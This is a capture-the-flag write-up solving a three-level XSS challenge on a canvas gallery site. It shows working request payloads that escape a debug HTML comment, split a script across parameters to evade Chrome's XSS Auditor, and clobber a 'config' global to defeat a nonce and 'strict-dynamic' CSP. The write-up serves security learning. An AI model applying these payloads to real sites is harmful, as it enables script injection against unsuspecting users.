YesWeHack & Alibaba Security Meetup challenge solution

The goal of the challenge was to find an XSS vulnerability on a minimalist website.

It was composed of 3 steps of increasing difficulty in the form of extra security layer. All the payload are tested with Chrome 75.

difficulty Escape GET value X-XSS-Protection CSP
easy NO 0 NO
medium YES 1 NO
hard YES 1 YES

Recon

Let’s take a look at how the website work.
This is a simple gallery.

When we click on the differents link, a picture is shown.

Here is the code

    <div class="container">
      <h1>Js Canvas Gallery (easy)</h1>
      <ul>

        <li><a href="#L3N0YXRpYy9oZWFydC5qcw==.d635f5480983ee9eb49a2f9cbc010141cf2b7899">heart</a></li>

        <li><a href="#L3N0YXRpYy90cmlhbmdsZS5qcw==.bf15ad95b9de4c9b8518b55c6d2e2410e5192e19">triangle</a></li>

        <li><a href="#L3N0YXRpYy9idWJibGUuanM=.962b9e3c233aff6c36c2ee97e2f91c11dc348714">bubble</a></li>

      </ul>
      <iframe id="frame" seamless></iframe>
      <a href="/">go back</a>
    </div>

    <script>
     const frame = document.getElementById("frame");

     function displayDrawing(){
       const hash = location.hash.substr(1)
       console.log(hash)
       if (hash){
         frame.src= `easy/loader?key=${hash}`
       }
     }

     window.addEventListener("hashchange", e => {
       e.preventDefault();
       displayDrawing()
     })

     window.addEventListener("DOMContentLoaded", e => {
       displayDrawing()
     })
    </script>

The code is quite simple, when we click one of the link, the url hash will change, the event will be catched and the displayDrawing function is called.
This function take the hash and forward it to ./loader inside the key parameter.
The result is displayed in an iframe on the page.

The loader page

Let’s try to understand how the loader work by looking at the html code.

<!doctype html>
<html>
  <head>
    <meta charset="utf8">
    <title></title>
    <script src="data:application/javascript;base64,Y29uc3QgY29uZmlnID0ge3NyYzonL3N0YXRpYy9oZWFydC5qcycsIGFjY2Vzc0tleTogJ2Q2MzVmNTQ4MDk4M2VlOWViNDlhMmY5Y2JjMDEwMTQxY2YyYjc4OTknfTs=" ></script>
    <style >
     *{
       box-sizing: border-box;
     }
     html {
       font-family: helvetica;
       height: 100%;
       margin: 0;
       padding: 0;
     }
     body{
       margin: 0;
       padding: 0;
       display: flex;
       justify-content: space-around;
       height: 100%;
     }
     canvas{
       width: 100%;
       height: 100%;
     }
    </style>
  </head>
  <body>
    <!-- DEBUG = False -->
    <canvas id="canvas"></canvas>
    <script >
     document.addEventListener("DOMContentLoaded", e=> {
       console.log(`Access granted to "${config.src}" with "${config.accessKey}"`);
       const script = document.createElement("script")
       script.src = `${config.src}?${Math.random()}`
       document.body.appendChild(script);
     })
    </script>
  </body>
</html>

There is a script loaded on line 6 as a base64 data url, when decoded it look like this:

const config = {src:'/static/heart.js', accessKey: 'd635f5480983ee9eb49a2f9cbc010141cf2b7899'};

The src part correspond to the base64 part of our key parameter, and the accessKey to the hash.

This config object is then used line 37 to create a new script that will render the picture.

Step 1 – Easy

If we try to alter the base64 or the hash, the loader page will return a 403 forbiden error. We need to find something else if we want to find an xss.

One weird thing about the loader page is the comment line 31 "DEBUG = False". If we send a new query with an etre GET parameter debug set to true, the output of the page change a bit.

GET /easy/loader?key=L3N0YXRpYy9oZWFydC5qcw==.d635f5480983ee9eb49a2f9cbc010141cf2b7899&debug=true
  <body>
    <!-- DEBUG = True
         key = L3N0YXRpYy9oZWFydC5qcw==.d635f5480983ee9eb49a2f9cbc010141cf2b7899
         debug = true
          -->
    <canvas id="canvas"></canvas>
    <script >
     document.addEventListener("DOMContentLoaded", e=> {
       console.log(`Access granted to "${config.src}" with "${config.accessKey}"`);
       const script = document.createElement("script")
       script.src = `${config.src}?${Math.random()}`
       document.body.appendChild(script);
     })
    </script>

When the debug flag is set to True all the get paramters are reflected inside a comment.

With this information, we can now send a new paramter that will close the comment and add a script that will call alert(document.domain)

GET /easy/loader?key=L3N0YXRpYy9oZWFydC5qcw==.d635f5480983ee9eb49a2f9cbc010141cf2b7899&debug=true&test=--><script>alert('xss')</script><!--
 <body>
    <!-- DEBUG = True
         key = L3N0YXRpYy9oZWFydC5qcw==.d635f5480983ee9eb49a2f9cbc010141cf2b7899
         debug = true
         test = --><script>alert('xss')</script><!-- -->
    <canvas id="canvas"></canvas>
    <script >
     document.addEventListener("DOMContentLoaded", e=> {
       console.log(`Access granted to "${config.src}" with "${config.accessKey}"`);
       const script = document.createElement("script")
       script.src = `${config.src}?${Math.random()}`
       document.body.appendChild(script);
     })
    </script>

Our payload is reflected the js code is evaluated.

Step 1 is solved !

Step 2 – medium

If we try to submit our first payload to the second level this is what we got:

GET /medium/loader?key=L3N0YXRpYy9oZWFydC5qcw==.d635f5480983ee9eb49a2f9cbc010141cf2b7899&debug=true&test=--><script>alert('xss')</script><!--
<body>
    <!-- DEBUG = True
         key = L3N0YXRpYy9oZWFydC5qcw==.d635f5480983ee9eb49a2f9cbc010141cf2b7899
         debug = true
         test = --><script>alert(document.domain)</script><!--
          -->
    <canvas id="canvas"></canvas>

This time, the values of our GET parameters are properly escaped. But the value is not the only thing reflected on the page, the name of the get parameter are reflected too.

We can try to put our exploit in the name instead of the value.

GET medium/loader?key=L3N0YXRpYy9oZWFydC5qcw==.d635f5480983ee9eb49a2f9cbc010141cf2b7899&debug=true&--><script>alert(document.domain)</script><!--=a
    <!-- DEBUG = True
         key = L3N0YXRpYy9oZWFydC5qcw==.d635f5480983ee9eb49a2f9cbc010141cf2b7899
         debug = true
         --><script>alert(document.domain)</script><!-- = a
          -->
    <canvas id="canvas"></canvas>

This way, our payload is not escaped and should trigger an alert. But nothing is happening

If we look at the js console we can see this message:

The XSS Auditor refused to execute a script in ‘http://54.254.225.32:4242/medium/loader?key=L3N0YXRpYy9oZWFydC5qcw==.d635f5480983ee9eb49a2f9cbc010141cf2b7899&debug=true&–%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C!–=a‘ because its source code was found within the request. The server sent an ‘X-XSS-Protection’ header requesting this behavior.

XSS-Auditor, a security feature of chrome has detected our attack attempt and blocked it.

XSS-auditor works by comparing the content of every query parameter with the content of the page, and it will block javascript execution if an XSS attempt is detected.

We need to find a bypass.

We can trick XSS-auditor, by spliting our payload into multiple parameters.

GET /medium/loader?key=L3N0YXRpYy9oZWFydC5qcw==.d635f5480983ee9eb49a2f9cbc010141cf2b7899&debug=true&--><script>let a=1&alert(document.domain)</script><!--
<!-- DEBUG = True
         key = L3N0YXRpYy9oZWFydC5qcw==.d635f5480983ee9eb49a2f9cbc010141cf2b7899
         debug = true
         --><script>let a = 1
         alert(document.domain)</script><!-- = 
          -->
    <canvas id="canvas"></canvas>

This is enough to trick auditor and the script is now executed.

Step 2 solved !

Step 3 – Hard

Once again, let’s start by trying our last payload again.

GET /hard/loader?key=L3N0YXRpYy9oZWFydC5qcw==.d635f5480983ee9eb49a2f9cbc010141cf2b7899&debug=true&--><script>let a=1&alert(document.domain)</script><!--
<!-- DEBUG = True
         key = L3N0YXRpYy9oZWFydC5qcw==.d635f5480983ee9eb49a2f9cbc010141cf2b7899
         debug = true
         --><script>let a = 1
         alert(document.domain)</script><!-- = 
          -->
    <canvas id="canvas"></canvas>

The payload is injected, auditor is bypassed, but no alert.

In the js console we can see this message:

Refused to execute inline script because it violates the following Content Security Policy directive: "script-src ‘nonce-nsWXKD8JXLV96kt1BQxBSw==’ ‘strict-dynamic’". Either the ‘unsafe-inline’ keyword, a hash (‘sha256-8NbgAp0jfVRkKxwOjGfcHVoY6pt6APb/HnKwjq5wl/c=’), or a nonce (‘nonce-…’) is required to enable inline execution.

This is due to the fact that this time, a Content-Security-Policy is returned with the page. According to mozilLa

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement to distribution of malware.

The script-src set by the challenge is the following:

script-src ‘nonce-3HIMjHg5/Rnuemec/NsDzQ==’ ‘strict-dynamic’;

If we want to inject some script we will need to guess the nonce, which is not possible. But we can abuse the ‘strict-dynamic’. If a script is trusted (has the right nonce), it’s trust shall be propagated to all the scripts loaded by that root script.

Because a script is created line 36-37, if we can control the config object, we will be able to execute code.

Creating a config

First we need a way to define a JS global variable without using JS. According to the html specification, we can create a global variable by creating a html element with an id set to config.

Let’s test this with a small html page.

<html>
  <body>
    <img id='config' src='http://example.com' accesskey='key'></div>
    <script>
      console.log(`config.src = ${config.src}`)
      console.log(`config.accessKey = ${config.accessKey}`)
    </script>
  </body>
</html>

In the console we can see this messages:

config.src = http://example.com/
config.accessKey = key

Nice, it’s working.

But if we create the same <img> on the victime website, it’s not working. That’s because a config object is already created and has priority over the id.

Blocking the config script

In step2, we had trouble executing our payload because XSS-auditor was blocking the line with the XSS.
We can abuse this feature, if we submit a parameter that look like the top configuration script, XSS-auditor will block it.

GET /hard/loader?key=L3N0YXRpYy9idWJibGUuanM=.962b9e3c233aff6c36c2ee97e2f91c11dc348714&dummy=<script src="data:application/javascript;

Final payload

Now that we can block the config and inject a new one, we should be able to exploit the final level.

Our final payload look like this :

dummy='<script src="data:application/javascript' // to block the original config 
debug=True // to be able to inject some html
--><img id='config' src='data:,alert(1)//' accessKey='a'>=a // create a new config file.
GET /hard/loader?key=L3N0YXRpYy9idWJibGUuanM=.962b9e3c233aff6c36c2ee97e2f91c11dc348714&debug=true&dummy=%3Cscript%20src=%22data:application/javascript;&--%3E%3Cimg%20id%3d%27config%27%20src%3d%27data:,alert(1)//%27%20accesskey%3da%3E%3C!--=a

Challenge Solve !

Conclusion

I want to thanks Alibaba for organizing this wonderfull event, and all the people for participating.

Also congratulations to our winners:

Top 3:

  1. Alan C (10g pure gold medal)
  2. Fariskhi Vidyan ($300 voucher)
  3. Ngo Wei Lin ($200 voucher)

I’m looking forward for the next event !